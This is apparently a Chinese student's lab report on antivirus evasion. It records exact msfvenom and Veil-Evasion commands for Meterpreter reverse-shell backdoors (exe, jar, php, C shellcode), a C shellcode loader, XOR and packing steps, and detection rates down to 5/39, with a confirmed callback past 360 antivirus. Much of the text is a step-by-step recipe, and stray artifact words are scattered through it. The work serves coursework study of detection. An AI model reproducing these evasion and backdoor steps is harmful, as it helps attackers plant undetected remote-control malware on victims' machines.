Exp3 免杀原理与实践
<a name="1"></a>php
目录
- <font face="华文中宋" size=4>基础问题回答</font>
- <font face="华文中宋" size=4>实验总结与体会</font>
- <font face="华文中宋" size=4>实践过程记录</font>
- <font face="华文中宋" size=4>离实战还缺些什么技术或步骤?</font>
<a name="2"></a>html
<h1 align="center">基础问题回答</h1>
<a name="2.1"></a>java
(1)杀软是如何检测出恶意代码的?python
- 特征码:通过对许多恶意代码的分析,咱们发现了恶意代码所共有的一段代码,咱们把它当作特征码,那么只要是带有这段特征码的就视为病毒;
- 启发式恶意软件检测:就是若是一个程序在作恶意代码一般作的事,那就把它当作恶意代码;
- 基于行为的恶意软件检测:是一种启发式恶意软件检测。
<a name="2.2"></a>shell
(2)免杀是作什么?编程
就是利用一些手段假装咱们的后门文件,最终达到其潜伏在被控主机中且不被被控主机中的杀毒软件检测出来。windows
<a name="2.3"></a>tcp
(3)免杀的基本方法有哪些?工具
- msfvenom编码
- veil-evasion
- C+shellcode
- 加壳
- 异或等运算变换
<font face="宋体" size=4>返回目录</font>学习
<a name="4"></a>
<h1 align="center">实践过程记录</h1>
<a name="4.1"></a>
1、正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧;
(1)正确使用msf编码器
- 把实验二中生成的后门程序更名为“zjy_backdoor.exe”后放到virscan网站中扫描结果以下:
- 用VirusTotal扫描后结果以下:
可见不加任何处理的后门程序可以被绝大多数杀毒软件识别,那么咱们尝试用msf编码器对后门程序进行一次到屡次的编码,看看是否对免杀有所做用。
- 一次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded.exe
- "-e"即编码
- 十次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded10.exe
- "-i"指定编码个数
编码十次后生成的可执行文件以下所示:
将编码十次后的可执行文件上传到VirusTotal扫描后结果以下:
可见,编码对免杀没有太大效果,缘由在于msfvenom会以固定的模板生成exe,全部它生成的exe,若是使用默认参数或模板,也有必定的固定特征。因此通常来讲AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决全部msfvenom生成的恶意代码了。
(2)msfvenom生成jar文件
- 生成Java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor_java.jar
生成的文件以下:
(3)msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor.php
生成的文件以下:
(4)msfvenom生成shellcode
- 生成shellcode使用命令:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.217.128 lport=443 -f c
生成的shellcode以下:
【其余更多文件能够参考狄唯佳同窗的博客】
(5)veil-evasion
1.首先下载veil,由于耗时过久网又太烂,因此用了老师的虚拟机,修改主机名的步骤以下:
- 首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,以下图所示:
- 第二步若是没有出现所有设置,则须要点击左上角后退箭头查看所有设置,以下图所示:
- 接着进入系统设置中的共享设置,以下图所示:
- 最后修改共享中的计算机名称,完成以下图所示:
2.第二步,咱们有了实验所需的veil工具后,首先要启用veil,输入命令:veil
;接着进入veil-evasion,在veil中输入命令:use evasion
,以下图所示:
3.输入命令:use python/meterpreter/rev_tcp.py
用python语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改为c就好啦】,以下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):
4.设置反弹链接IP,命令为:set LHOST 192.168.217.130
,注意此处的IP是KaliIP;
5.设置端口,命令为:set LPORT 5312
6.输入generate
生成文件,接着输入你想要playload的名字:playload5312
7.选择第一种默认方式生成:1
8.生成失败(以下图),换个方式重试,依次输入以下命令:veil
->use evasion
->list
->use 28
->set LHOST ……
->set LPORT ……
->generate
->【输入名称】
->1
尝试后一样不能够,以下图所示:
9.这说明应该是python这种语言不能够,因此按照一样的方法,咱们选择别的语言,例如“c”试一下,就是把use 28
改为use 7
,或在第一种方法中把use python/meterpreter/rev_tcp.py
改为use c/meterpreter/rev_tcp.py
,其余步骤彻底相同,最终成功的样子是这样滴:
10.去/var/lib/veil/output/compiled/playload5312.exe这个路径下找咱们生成的exe文件,很差找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5312.exe ~/zjy
把这个文件复制到咱们熟悉的路径下就能够啦~
11.最终用virscan工具查下试试,有没有起到免杀的效果,结果以下,10/39查出:
(6)C语言调用Shellcode版本
1.首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.130 LPORT=5312 -f c
用c语言生成一段shellcode;
2.建立一个文件20155312.c,而后将unsigned char buf[]赋值到其中,代码以下:
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 乖巧的遵从老师指示,不能粘c代码,此处省略 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
3.使用命令:i686-w64-mingw32-g++ 20155312.c -o 20155312.exe
编译这个.c文件为可执行文件:
4.在扫描软件上看看,有没有免杀,9/39有点做用:
<font face="宋体" size=4>返回目录</font>
<a name="4.2"></a>
2、经过组合应用各类技术实现恶意代码免杀
先尝试只对shellcode进行加壳,扫描结果为8/39:
利用C语言调用Shellcode+异或+加壳实现了免杀,杀软扫描结果以下:
工具检测结果以下:5/39,仍是有五个能够检测出来的。
<font face="宋体" size=4>返回目录</font>
<a name="4.3"></a>
3、用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本
杀软名称:360,版本:11(11.0.0.2001)
用电脑实测回连成功截图以下:
<font face="宋体" size=4>返回目录</font>
<a name="5"></a>
<h1 align="center">离实战还缺些什么技术或步骤?</h1>
感受本身如今也只是会参考其余同窗的博客,看看别人怎么实现了免杀本身再按照那个方向试试,可是缺少本身的想法,真正的实战确定是要啃难啃的骨头,别热嚼碎了的东西确定是没有太大价值的,我以为本身要是想真正具有上战场的能力,仍是要多查询资料,多动脑。
此外,虽然程序可以实现免杀,但如何让被控主机运行它也是一个问题,因此接下来要对如何假装、吸引被供给端点击这方面进行学习,我以为这也是本身离实战缺少的技术。
<font face="宋体" size=4>返回目录</font>
<a name="3"></a>
<h1 align="center">实验总结与体会</h1>
经过本次实验,我了解到了免杀的概念、免杀的方法,熟练掌握了使用 VirusTotal、Virscan这些工具的方法,可以有条理、有目的的对后门动手实现一些免杀的处理,再一次温习了实验二中主机之间监听、控制的操做,加深了印象,总之,通过此次实练本身的动手能力和对知识的理解程度有了必定的提高。